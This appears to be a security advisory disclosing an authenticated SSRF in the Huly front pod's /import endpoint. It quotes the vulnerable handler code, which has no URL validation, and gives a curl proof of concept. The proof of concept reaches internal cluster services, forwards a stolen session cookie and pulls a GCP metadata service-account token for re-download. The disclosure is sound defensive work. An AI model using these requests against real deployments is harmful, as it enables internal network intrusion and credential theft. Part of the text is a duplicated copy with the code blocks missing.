Summary
The front pod exposes a legacy /import endpoint (GET and POST) that any authenticated workspace user can use to make the server fetch an arbitrary HTTPS URL on their behalf, return the response body to the caller, and persist it as a blob in the user's workspace storage. There is no URL allowlist, no host check, no private-IP block, and the caller can additionally supply a Cookie header that the server attaches to the outbound request. The result is a classic authenticated SSRF that allows internal-network scanning, exfiltration of internal HTTPS service responses, and re-use of bearer/cookie credentials from other contexts against backend services that share the front pod's network.
In contrast, the link-preview pod (added later) implements a full SSRF defense in pods/link-preview/src/parse.ts (validateUrl, isBlockedIpv4, isBlockedIpv6, IPv6-mapped-IPv4 normalization, per-redirect re-validation). The /import endpoint in the front pod was never retrofitted with the same controls. A // todo remove it after update all customers chrome extensions comment confirms the endpoint is deprecated but still live.
Details
File: server/front/src/index.ts
Handler handleImportPost, lines 767-845:
const handleImportPost = async (req: Request, res: Response): Promise<void> => {
try {
const authHeader = req.headers.authorization
if (authHeader === undefined) { res.status(403).send(); return }
const token = authHeader.split(' ')[1]
const workspaceDataId = await getWorkspaceIds(ctx, token)
if (workspaceDataId === null) { res.status(403).send(); return }
const { url, cookie } = req.body
if (url === undefined) { res.status(500).send('URL param is not defined'); return }
const options = cookie !== undefined ? { headers: { Cookie: cookie } } : {}
https.get(url, options, (response) => {
// ... buffers response body, then:
config.storageAdapter.put(ctx, workspaceDataId, id, buffer, contentType, buffer.length)
.then(async () => { res.status(200).send({ id, contentType, size: buffer.length }) })
// ...
})
} catch (error: any) { /* ... */ }
}
Routes registered at lines 854-859:
app.get('/import', (req, res) => { void handleImportGet(req, res) })
app.post('/import', (req, res) => { void handleImportPost(req, res) })
getWorkspaceIds(ctx, token) (lines 436-462) accepts any valid workspace token; the optional path argument is omitted at the import handler call site (line 775) so the path/workspace-uuid cross check is skipped.
The fetched url is passed unmodified to Node's https.get(url, options, ...). Node restricts the scheme to https: (it throws on http:), but that is the only validation: there is no validateUrl (as used in pods/link-preview/src/parse.ts:206-228), no isBlockedIpv4/isBlockedIpv6, no allowlist of providers, no User-Agent set, no redirect validation, no content-type allowlist, no response size limit, and no enforcement against IPv6-mapped-IPv4 representations of loopback.
Targets reachable from a typical Huly self-hosted deployment include:
- Other internal pods on the same network: account-service (port 3000), transactor websockets, collaborator, hulylake, datalake, link-preview, mail, billing, payment.
- Cloud metadata services where HTTPS is supported (GCP
https://metadata.google.internal/).
- Kubernetes API server (
https://kubernetes.default.svc) when the front pod runs in a cluster that has not blocked egress.
- Any HTTPS service the operator runs alongside Huly (Vault, Consul, internal admin UIs).
In addition, the cookie parameter is concatenated unmodified into the outbound Cookie header (line 791-796), which lets an attacker forward stolen session material from another context (browser, leaked log entry, captured request) through the server, picking up the server's source IP and any IP allowlist trust the target backend grants to the front pod.
The response body is returned as a blob the attacker can re-download via /files, so any content of any reachable HTTPS resource becomes exfiltrated.
The GET variant handleImportGet (lines 679-765) is identical except that url comes from req.query.url instead of req.body.url, and is reachable with just a token in the Authorization header.
Authentication required is a normal workspace token, which any user of a self-hosted Huly instance with the default DISABLE_SIGNUP setting (undefined per server/front/src/starter.ts:114) can obtain by signing up.
PoC
Assume the attacker has signed up to a Huly self-hosted deployment and holds a workspace token in $TOKEN. The front pod is reachable at https://huly.example.com.
- Confirm token works:
curl -sS -H "Authorization: Bearer $TOKEN" https://huly.example.com/files?file=any
- Trigger SSRF to an internal HTTPS service (here, the link-preview pod's statistics endpoint on the cluster's internal hostname):
curl -sS -X POST https://huly.example.com/import \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://link-preview.svc.cluster.local:4060/api/v1/statistics?token=anything"}'
Response (excerpt):
{"id":"<uuid>","contentType":"application/json","size":1234}
- Download the captured response from blob storage:
curl -sS -H "Authorization: Bearer $TOKEN" "https://huly.example.com/files?file=<uuid>"
The body of the internal request is returned verbatim.
- Forwarding a stolen cookie:
curl -sS -X POST https://huly.example.com/import \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://internal-admin.svc.cluster.local/api/users", "cookie": "session=STOLEN_VALUE"}'
- GCP metadata exfiltration (only on deployments that have not blocked egress to the metadata server):
curl -sS -X POST https://huly.example.com/import \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "cookie": "Metadata-Flavor: Google"}'
Summary
The front pod exposes a legacy
/importendpoint (GET and POST) that any authenticated workspace user can use to make the server fetch an arbitrary HTTPS URL on their behalf, return the response body to the caller, and persist it as a blob in the user's workspace storage. There is no URL allowlist, no host check, no private-IP block, and the caller can additionally supply aCookieheader that the server attaches to the outbound request. The result is a classic authenticated SSRF that allows internal-network scanning, exfiltration of internal HTTPS service responses, and re-use of bearer/cookie credentials from other contexts against backend services that share the front pod's network.In contrast, the link-preview pod (added later) implements a full SSRF defense in
pods/link-preview/src/parse.ts(validateUrl,isBlockedIpv4,isBlockedIpv6, IPv6-mapped-IPv4 normalization, per-redirect re-validation). The/importendpoint in the front pod was never retrofitted with the same controls. A// todo remove it after update all customers chrome extensionscomment confirms the endpoint is deprecated but still live.Details
File:
server/front/src/index.tsHandler
handleImportPost, lines 767-845:Routes registered at lines 854-859:
getWorkspaceIds(ctx, token)(lines 436-462) accepts any valid workspace token; the optionalpathargument is omitted at the import handler call site (line 775) so the path/workspace-uuid cross check is skipped.The fetched
urlis passed unmodified to Node'shttps.get(url, options, ...). Node restricts the scheme tohttps:(it throws onhttp:), but that is the only validation: there is novalidateUrl(as used inpods/link-preview/src/parse.ts:206-228), noisBlockedIpv4/isBlockedIpv6, no allowlist of providers, no User-Agent set, no redirect validation, no content-type allowlist, no response size limit, and no enforcement against IPv6-mapped-IPv4 representations of loopback.Targets reachable from a typical Huly self-hosted deployment include:
https://metadata.google.internal/).https://kubernetes.default.svc) when the front pod runs in a cluster that has not blocked egress.In addition, the
cookieparameter is concatenated unmodified into the outboundCookieheader (line 791-796), which lets an attacker forward stolen session material from another context (browser, leaked log entry, captured request) through the server, picking up the server's source IP and any IP allowlist trust the target backend grants to the front pod.The response body is returned as a blob the attacker can re-download via
/files, so any content of any reachable HTTPS resource becomes exfiltrated.The GET variant
handleImportGet(lines 679-765) is identical except thaturlcomes fromreq.query.urlinstead ofreq.body.url, and is reachable with just a token in theAuthorizationheader.Authentication required is a normal workspace token, which any user of a self-hosted Huly instance with the default
DISABLE_SIGNUPsetting (undefined perserver/front/src/starter.ts:114) can obtain by signing up.PoC
Assume the attacker has signed up to a Huly self-hosted deployment and holds a workspace token in
$TOKEN. The front pod is reachable athttps://huly.example.com.Response (excerpt):
The body of the internal request is returned verbatim.